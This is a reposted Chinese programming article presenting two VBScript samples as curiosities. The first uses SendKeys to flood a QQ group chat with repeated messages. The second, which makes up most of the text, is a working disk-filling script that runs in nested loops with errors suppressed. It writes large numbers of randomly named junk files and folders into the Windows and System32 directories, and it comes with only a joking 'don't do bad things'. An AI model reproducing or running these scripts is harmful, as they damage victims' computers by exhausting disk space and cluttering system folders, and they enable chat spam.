从一个VBS脚本学习一点点东西
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
| 不知道是最近还是以前，反正就是这几天经常在网上看到一个刷QQ群的VBS代码。 复制代码 代码如下: SetWshShell=WScript.createObject("WScript.Shell") WshShell.AppActivate"群－Powers成员交流" fori=1to10''要发的次数 WScript.Sleep500''发送消息的时间间隔 WshShell.SendKeys"^v"''要发的内容 WshShell.SendKeysi''这里拿每条消息都不同，在后面加上i即循环的次数 WshShell.SendKeys"%s" next 这个代码里面解释的很清楚的啦~呵呵 其实就只是这么一点点就已经可以弄来我们做好几个好玩的东西了啦~比如：刷QQ聊天啊、刷网站啦~ 由于比较感兴趣，所以找到个这样的代码：一个写硬盘的VBS脚本程序（不要做坏事哦） 复制代码 代码如下: onerrorresumenext dimobjdir,suijishu setobjdir=wscript.createobject("scripting.filesystemobject") setwindir=objdir.getspecialfolder(0) setsysdir=objdir.getspecialfolder(1) ''开始程序 fori=1to1000 forj=1to1000 forr=1to1000''------------------------------------------------------------------------------ randomize y=int((122-65+1)*rnd+65) y1=int((122-65+1)*rnd+65) y2=int((122-65+1)*rnd+65) y3=int((122-65+1)*rnd+65) y4=int((122-65+1)*rnd+65) y5=int((122-65+1)*rnd+65) y6=int((122-65+1)*rnd+65) y7=int((122-65+1)*rnd+65) y8=int((122-65+1)*rnd+65)''----------------------------------------------------------------- y9=int((122-65+1)*rnd+65) f=chr(y)&chr(y1)&chr(y2)&chr(y3)&chr(y4)&chr(y5)&chr(y6)&chr(y7)&chr(y8)&chr(y9) suijishu=int(rnd*10000) ''创建windows文件 yang=windir&""&f&"."&chr(y3)&chr(y7)&chr(y) seta=objdir.createtextfile(yang,true) a.writeline"MadeInChina,Hubei,Wuhan,Guanshan" a.writeline"古风居委会首席执行官老杨同志" a.writeline"Oicq:14903220"''------------------------------------------------------------ foru=1tosuijishu a.writeline(f&f&f&f&f&f&f) next a.close yang=windir&""&chr(y3)&chr(y1)&"."&chr(y)&chr(y4)&chr(y2)''2 seta=objdir.createtextfile(yang,true) a.writeline"MadeInChina,Hubei,Wuhan,Guanshan" a.writeline"古风居委会首席执行官老杨同志" a.writeline"Oicq:14903220" foru=1tosuijishu''----------------------------------------------------------------------- a.writeline(f&f&f&f&f&f&f) next a.close yang=windir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y8)&chr(y4)&chr(y1)''3 seta=objdir.createtextfile(yang,true) a.writeline"MadeInChina,Hubei,Wuhan,Guanshan" a.writeline"古风居委会首席执行官老杨同志" a.writeline"Oicq:14903220" foru=1tosuijishu a.writeline(f&f&f&f&f&f&f)''------------------------------------------------------------- next a.close yang=windir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y6)&chr(y9)&chr(y3)''4 seta=objdir.createtextfile(yang,true) a.writeline"MadeInChina,Hubei,Wuhan,Guanshan" a.writeline"古风居委会首席执行官老杨同志" a.writeline"Oicq:14903220" foru=1tosuijishu a.writeline(f&f&f&f&f&f&f) next''-------------------------------------------------------------------------------------- a.close yang=windir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y6)&chr(y8)&chr(y4)''5 seta=objdir.createtextfile(yang,true) a.writeline"MadeInChina,Hubei,Wuhan,Guanshan" a.writeline"古风居委会首席执行官老杨同志" a.writeline"Oicq:14903220" foru=1tosuijishu a.writeline(f&f&f&f&f&f&f) next a.close''--------------------------------------------------------------------------------- yang=windir&""&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y8)&chr(y)''6 seta=objdir.createtextfile(yang,true) a.writeline"MadeInChina,Hubei,Wuhan,Guanshan" a.writeline"古风居委会首席执行官老杨同志" a.writeline"Oicq:14903220" foru=1tosuijishu a.writeline(f&f&f&f&f&f&f) next a.close''---------------------------------------------------------------------------------- yang=windir&""&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y2)&chr(y)&chr(y5)''7 seta=objdir.createtextfile(yang,true) a.writeline"MadeInChina,Hubei,Wuhan,Guanshan" a.writeline"古风居委会首席执行官老杨同志" a.writeline"Oicq:14903220" foru=1tosuijishu a.writeline(f&f&f&f&f&f&f) next a.close yang=windir&""&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y4)&chr(y)&chr(y7)''8''--- seta=objdir.createtextfile(yang,true) a.writeline"MadeInChina,Hubei,Wuhan,Guanshan" a.writeline"古风居委会首席执行官老杨同志" a.writeline"Oicq:14903220" foru=1tosuijishu a.writeline(f&f&f&f&f&f&f) next a.close ''创建system文件------------------------------------------------------------------------------10 yang=sysdir&""&f&"."&chr(y3)&chr(y9)&chr(y1) seta=objdir.createtextfile(yang,true) a.writeline"MadeInChina,Hubei,Wuhan,Guanshan" a.writeline"古风居委会首席执行官老杨同志" a.writeline"Oicq:14903220" foru=1tosuijishu a.writeline(f&f&f&f&f&f&f) next a.close yang=sysdir&""&chr(y3)&chr(y1)&"."&chr(y4)&chr(y2)&chr(y9)''2------------------------------------------ seta=objdir.createtextfile(yang,true) a.writeline"MadeInChina,Hubei,Wuhan,Guanshan" a.writeline"古风居委会首席执行官老杨同志" a.writeline"Oicq:14903220" foru=1tosuijishu a.writeline(f&f&f&f&f&f&f) next a.close yang=sysdir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y3)&chr(y7)&chr(y)''3 seta=objdir.createtextfile(yang,true)''------------------------------------------------------ a.writeline"MadeInChina,Hubei,Wuhan,Guanshan" a.writeline"古风居委会首席执行官老杨同志" a.writeline"Oicq:14903220" foru=1tosuijishu a.writeline(f&f&f&f&f&f&f) next a.close yang=sysdir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y5)&chr(y4)&chr(y1)''4 seta=objdir.createtextfile(yang,true) a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"''----------------------------------------- a.writeline"古风居委会首席执行官老杨同志" a.writeline"Oicq:14903220" foru=1tosuijishu a.writeline(f&f&f&f&f&f&f) next a.close yang=sysdir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y3)&chr(y6)&chr(y9)''5 seta=objdir.createtextfile(yang,true) a.writeline"MadeInChina,Hubei,Wuhan,Guanshan" a.writeline"古风居委会首席执行官老杨同志"''------------------------------------------------ a.writeline"Oicq:14903220" foru=1tosuijishu a.writeline(f&f&f&f&f&f&f) next a.close yang=sysdir&""&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y)&chr(y5)''6 seta=objdir.createtextfile(yang,true) a.writeline"MadeInChina,Hubei,Wuhan,Guanshan" a.writeline"古风居委会首席执行官老杨同志" a.writeline"Oicq:14903220"''------------------------------------------------------------15 foru=1tosuijishu a.writeline(f&f&f&f&f&f&f) next a.close yang=sysdir&""&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y7)&chr(y5)&chr(y1)''7 seta=objdir.createtextfile(yang,true) a.writeline"MadeInChina,Hubei,Wuhan,Guanshan" a.writeline"古风居委会首席执行官老杨同志" a.writeline"Oicq:14903220" foru=1tosuijishu''------------------------------------------------------------------------- a.writeline(f&f&f&f&f&f&f) next a.close yang=sysdir&""&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y1)&chr(y7)&chr(y4)''8 seta=objdir.createtextfile(yang,true) a.writeline"MadeInChina,Hubei,Wuhan,Guanshan" a.writeline"古风居委会首席执行官老杨同志" a.writeline"Oicq:14903220" foru=1tosuijishu a.writeline(f&f&f&f&f&f&f)''-------------------------------------------------------------- next a.close ''创建windows文件夹 yang=windir&""&f&"u" objdir.createfolder(yang) yang=windir&""&chr(y4)&chr(y2)''2 objdir.createfolder(yang) yang=windir&""&chr(y)&chr(y9)&chr(y5)''3 objdir.createfolder(yang)''------------------------------------------------------------------- yang=windir&""&chr(y6)&chr(y3)&chr(y8)&chr(y7)''4 objdir.createfolder(yang) yang=windir&""&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3)''5 objdir.createfolder(yang) yang=windir&""&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7)''6 objdir.createfolder(yang) yang=windir&""&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2)''7 objdir.createfolder(yang) yang=windir&""&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5)''8 objdir.createfolder(yang)''-------------------------------------------------------------------- ''创建system文件夹 yang=sysdir&""&f&"n" objdir.createfolder(yang) yang=sysdir&""&chr(y4)&chr(y2)''2 objdir.createfolder(yang) yang=sysdir&""&chr(y)&chr(y9)&chr(y5)''3 objdir.createfolder(yang) yang=sysdir&""&chr(y6)&chr(y3)&chr(y8)&chr(y7)''4 objdir.createfolder(yang)''--------------------------------------------------------------------- yang=sysdir&""&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3)''5 objdir.createfolder(yang) yang=sysdir&""&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7)''6 objdir.createfolder(yang) yang=sysdir&""&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2)''7 objdir.createfolder(yang) yang=sysdir&""&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5)''8 objdir.createfolder(yang) next next next ''老杨同志呕血巨著 |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
你可能对下面的文章感兴趣
上一篇: unpack.vbs下一篇: vbs得没公开对象
关于从一个VBS脚本学习一点点东西的所有评论
